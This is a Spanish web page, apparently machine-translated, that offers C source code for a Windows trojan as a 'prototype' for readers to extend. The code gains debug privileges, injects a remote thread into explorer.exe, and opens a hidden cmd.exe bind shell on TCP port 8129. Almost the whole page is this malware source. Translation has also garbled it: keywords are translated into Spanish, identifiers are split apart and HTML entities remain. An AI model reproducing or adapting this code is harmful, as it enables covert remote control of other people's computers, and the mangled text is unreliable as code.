Red de conocimiento informático - Problemas con los teléfonos móviles - Colección de código fuente de Tp

Colección de código fuente de Tp

Código de virus troyano 2008-06-08 19:46 Código de virus troyano

Agregue su propio XXX al código base de un prototipo troyano simple, agregue un shell de excepción y realice algunas modificaciones menores. .

# incluir & ltwinsock2.h & gt

#pragma comment(lib, "ws2_32.lib")

# incluir & ltwindows.h & gt

# incluir & ltShlwapi.h & gt

#pragma comentario(lib, " Shlwapi.lib ")

# incluir & lttlhelp32.h & gt

# include & ltstdio.h & gt

# include & ltstring.h & gt

//Estructura de parámetros;

estructura typedef _RemotePara

{

DWORD dwLoadLibrary

DWORD dwFreeLibrary

DWORD dwGetProcAddress

DWORD dwGetModuleHandle

DWORD dwWSAStartup

DWORD dwSocket

DWORD dwhtons

DWORD dwbind

DWORD dwlisten

DWORD dwaccept

DWORD dwsend

DWORD dwrecv

DWORD dwclosesocket

DWORD dwCreateProcessA

DWORD dwPeekNamedPipe

DWORD dwWriteFile

DWORD dwReadFile

DWORD dwCloseHandle

DWORD dwCreatePipe

DWORD dwTerminateProcess

DWORD dwMessageBoxchar strMessageBox[ 12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char winsockDll[16]; p>

char telnetmsg[60];

} RemotePara//Mejorar los permisos de depuración a nivel de aplicación

BOOL enable privilegio(HANDLE hto ken, LPCTSTR szPrivName , BOOL fEnable);

//Obtiene el ID del proceso según el nombre del proceso.

DWORD GetPidByName(char * SZ name); //Ejecutor de hilo remoto

DWORD _ _ stdcall thread proc(remote Para * Para)

{< / p>

WSADATA WSAData

Conversión de palabras;

Socket listeningSocket

Cliente SOCKET SOCKETstruct sockaddr _ en servidor _ addr

struct sockaddr _ en client _ addrint iAddrSize = sizeof(client _ addr); SECURITY _ ATTRIBUTES sa handle thread pipe 1

Proceso hwritepipe

Proceso hReadPipe2

Proceso hWritePipe2STARTUPINFO si

Process_Information información del proceso;

Unsigned long lBytesRead = 0; typedef hin instancia(_ _ stdcall * cargar biblioteca)(char *);

typedef FARPROC(_ _ stdcall * PGetProcAddress)(HMODULE, LPCSTR);

typedef h instancia(_ _ stdcall * PFreeLibrary)(h instancia);

typedef hin instancia(_ _ stdcall * PGetModuleHandle)(HMODULE); FARPROC PMessageBoxA

FARPROC PWSAStartup

FARPROC PSocket

FARPROC Phtons

FARPROC Pbind

FARPROC Presten;

FARPROC Paccept

FARPROC Psend

FARPROC Precv

FARPROC Pclosesocket

FARPROC PCreateProcessA

FARPROC PPeekNamedPipe

FARPROC PWriteFile

FARPROC PREReadFile

FARPROC PCloseHandle

FARPROC PCreatePipe

Terminar el proceso;cargar biblioteca loadlibrary func =(cargar biblioteca)Para-& gt;dwLoadLibrary

PGetProcAddress GetProcAddressFunc =(PGetProcAddress) Para-& gt;dwGetProcAddress

PFreeLibrary freelibrary func =(PFreeLibrary)Para-& gt;dwFreeLibrary

PGetModuleHandle GetModuleHandleFunc =(PGetModuleHandle)Para-& gt;dwGetModuleHandleLoadLibraryFunc(Para-& gt ;winsockDll);PWSAStartup =(FARPROC)Par

a-& gt;dwWSAStartup

PSocket = (FARPROC)Para->dwSocket

Phtons = (FARPROC)Para->dwhtons

Pbind = (FARPROC) Para->dwbind

Plisten = (FARPROC)Para->dwlisten

Paccept = (FARPROC)Para->dwaccept

Psend = (FARPROC)Para- >dwsend

Precv = (FARPROC)Para->dwrecv

pclosesocket = (FARPROC)Para->dwclosesocket

PCreateProcessA = (FARPROC)Para- > dwCreateProcessA

PPeekNamedPipe =(FARPROC)Para-& gt;dwPeekNamedPipe

PWriteFile =(FARPROC)Para-& gt;dwWriteFile

PReadFile = (FARPROC) Para ->dwReadFile

PCloseHandle =(FARPROC)Para-& gt;dwCloseHandle

PCreatePipe = (FARPROC)Para->dwCreatePipe

PTerminateProcess =(FARPROC) Para ->dwTerminateProcess

PMessageBoxA = (FARPROC)Para->dwMessageBoxnVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)&wsa data);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if (escuchar SOCKET == INVALID _ SOCKET) devuelve 0; server_adr . >

server_addr.sin_port = Phtons((unsigned short)(8129));

server _ addr . sin _ addr s _ addr = in addr _ ANY; estructura sockaddr *) y server_addr, tamaño de (SOCKADDR_IN))! = 0) devuelve 0;

if(Plisten(listenSocket, 5)) devuelve 0;

socket de cliente = p aceptar(socket de escucha, (struct sockaddr *)& extremo del cliente dirección. iAddrSize);

// Psend(clientSocket, Para-> telnetmsg, 60, 0)) return 0;

if (!PCreatePipe(& hReadPipe2.

hwritepipe 2 & sa, 0)) devuelve 0; memoria cero (& si, sizeof (si)); // ZeroMemory es una función de biblioteca de tiempo de ejecución de C que se puede llamar directamente.

si .dw flags = STARTF _ USESHOWWINDOW | STARTF _ USESTDHANDLES;

si.wShowWindow = SW _ HIDE

si hstd input = hread pipe 2;

si . hstd salida = si . hstd error = hwritepipe 1; if (! PCreateProcessA(NULL, Para->cmd, NULL, NULL, 1, 0, NULL, NULL & amp; si & ampProcessInformation) ) devuelve 0;

while(1) {

Conjunto de memoria (Para->; Buff, 0.4096

PPeekNamedPipe(hreadpipe 1, Para-&); gt Buff, 4096 & lBytesRead, 0, 0);

if(lBytesRead) {

if (!PReadFile(hReadPipe1, Para-& gt;Buff, lBytesRead & amp; ;lBytesRead, 0))break;

if (!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;

}else{

lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);

if (lBytesRead<=0) desconectado;

If (! PWriteFile(hWritePipe2, Para -> Buff, lBytesRead y lBytesRead, 0)) romper

}

} PCloseHandle(hwritepipe 2

PCloseHandle(hreadpipe 1);

pclose handle(hread pipe 2);

PCloseHandle(hwritepipe 1);

pclosesocket(listen socket);

pclosesocket( socket de cliente); // PMessageBoxA(NULL, Para-> strMessageBox, Para-> strMessageBox, MB_OK return 0;

} int entrada API WinMain(h instancia h instancia,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

const DWORD THREADSIZE = 1024 * 4;

Escritura de bytes DWORD;

void * pRemoteThread

Proceso hToken, hRemoteProcess, hThread

HINSTANCE hKernel, hUser32, hSock

RemotePara myRemotePara, *pRemotePara

DWORD pIDOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES y amph

to ken);

EnablePrivilege(hToken, SE_DEBUG_NAME, TRUE); //Obtiene el identificador del proceso especificado y establece sus permisos en PROCESS_ALL_ACCESS.

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0) devuelve 0

hRemoteProcess = open PROCESS(PROCESS _ ALL; _ ACCESS, FALSE, pID);

Si (!hRemoteProcess) devuelve 0; //Asignar memoria virtual en el espacio de direcciones del proceso remoto

pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE , MEM_COMMIT | MEM_RESERVED, PAGE_EXECUTE_READ-WRITE);

Si (!pRemoteThread) devuelve 0 //Escribe el ejecutor del hilo ThreadProc en el proceso remoto.

if (!WriteProcessMemory(hRemoteProcess,pRemoteThread,&ThreadProc,THREADSIZE,0)) devuelve 0;memoria cero(&myRemotePara,sizeof(remote para));

hKernel = LoadLibrary ("kernel 32. dll");

myremotepara. dwloadlibrary =(DWORD)GetProcAddress(hKernel, "loadlibrary a");

myremotepara. , "biblioteca gratuita");

myremotepara . dwgetprocaddress = (DWORD) GetProcAddress (hKernel, " GetProcAddress ");

dwgetmodulehandle = (DWORD) GetProcAddress (hKernel, " GetModuleHandleA. "); myremotepara . dwcreateprocessa = (DWORD) GetProcAddress (hKernel, " CreateProcessA ");

myremotepara . dwpeeknamedpipe = (DWORD) GetProcAddress (hKernel, " PeekNamedPipe ");

myremotepara dw WriteFile = (DWORD) GetProcAddress (hKernel, " WriteFile ");

myremotepara . dwreadfile = ( DWORD ) GetProcAddress ( hKernel, " ReadFile "); (DWORD) GetProcAddress (hKernel, " CloseHandle ");

myremotepara . dwcreatepipe = (DWORD) GetProcAddress ( hKernel, " crear tubería "); GetProcAddress(hKernel, "terminar proceso"); hSock = LoadLibrary(" wsock 32 . dll ");

myremotepara

myremotepara.dw socket=(DWORD)GetProcAddress(hSock, "socket");

myremotepara.dwhtons=(DWORD)GetProcAddress(hSock, "htons");

myremotepara . dw bind =(DWORD)GetProcAddress(hSock, "bind");

myremotepara .

=(DWORD)GetProcAddress(hSock, "escuchar");

myremotepara . DWORD)GetProcAddress(hSock, "recv");

myremotepara.dwsend = (DWORD)GetProcAddress(hSock, "send");

myremotepara.dwclosesocket = (DWORD)GetProcAddress( hSock, "closesocket"); huser 32 = LoadLibrary(" usuario 32 . dll ");

myremotepara . dw messagebox = (DWORD) GetProcAddress(huser 32, " messagebox a "); strmessagebox, "¡Éxito!\\0");

strcat(myRemotePara.winsockDll, "wsock 32. dll\\0");

strcat(myRemotePara.cmd, "cmd .exe \ \ 0 ");

strcat(myRemotePara.telnetmsg, "¡Conexión exitosa! \ \ n \ \ 0 "); //Escribe en el proceso de destino

pRemotePara = ( remoto para *)VirtualAllocEx(hRemoteProcess, 0, sizeof(RemotePara), mem_submit, page_read-write);

if (!pRemotePara) devuelve 0;

if (! WriteProcessMemory( hRemoteProcess, pRemotePara y ampmyRemotePara, sizeof myRemotePara, 0)) devuelve 0 //Iniciar hilo

hThread = CreateRemoteThread(hRemoteProcess, 0, 0, (DWORD(_ _ stdcall *)(void * )) pRemoteThread, pRemotePara, 0 y bytes_write);

while(1) {}

biblioteca gratuita (hKernel);

biblioteca gratuita (hSock);

Biblioteca gratuita(huser 32);

cerrar identificador(hRemoteProcess);

cerrar identificador(hto ken);

} BOOL habilitar privilegio(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable){

TOKEN _ PRIVILEGES tp

tp. PrivilegeCount = 1;

LookupPrivilegeValue(NULL, szPrivName, &tp.Permissions[0].luid);

tp. Permisos[0].

Atributos = fActivar? SE_private_ENABLED:0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

return((GetLastError()== ERROR _ SUCCESS));

}DWORD GetPidByName(char *szName)

{

HANDLE hProcessSnap = INVALID _ HANDLE _ VALUE;

entrada de proceso 32 pe32 = { 0 };

DWORD dwRet = 0; hProcessSnap = createtoolhelp 32 instantánea(th 32 cs _ proceso instantáneo, 0);

if(hProcessSnap = = INVALID _ HANDLE _ VALUE ) devuelve 0; pe32 . dwsize = sizeof(entrada de proceso 32);

if(Process32First(hProcessSnap, & amppe32))

{

Hacer

{

if(StrCmpNI(szName, pe32.szExeFile, strlen(szName))==0)

{

dw ret = pe32 .th 32 ID de proceso;

romper;

}

} while(proceso 32 siguiente(hProcessSnap, & amppe32));

}

De lo contrario, devuelve 0; if(hProcessSnap!= INVALID _ HANDLE _ VALUE)close HANDLE(hProcessSnap);

Devuelve dwRet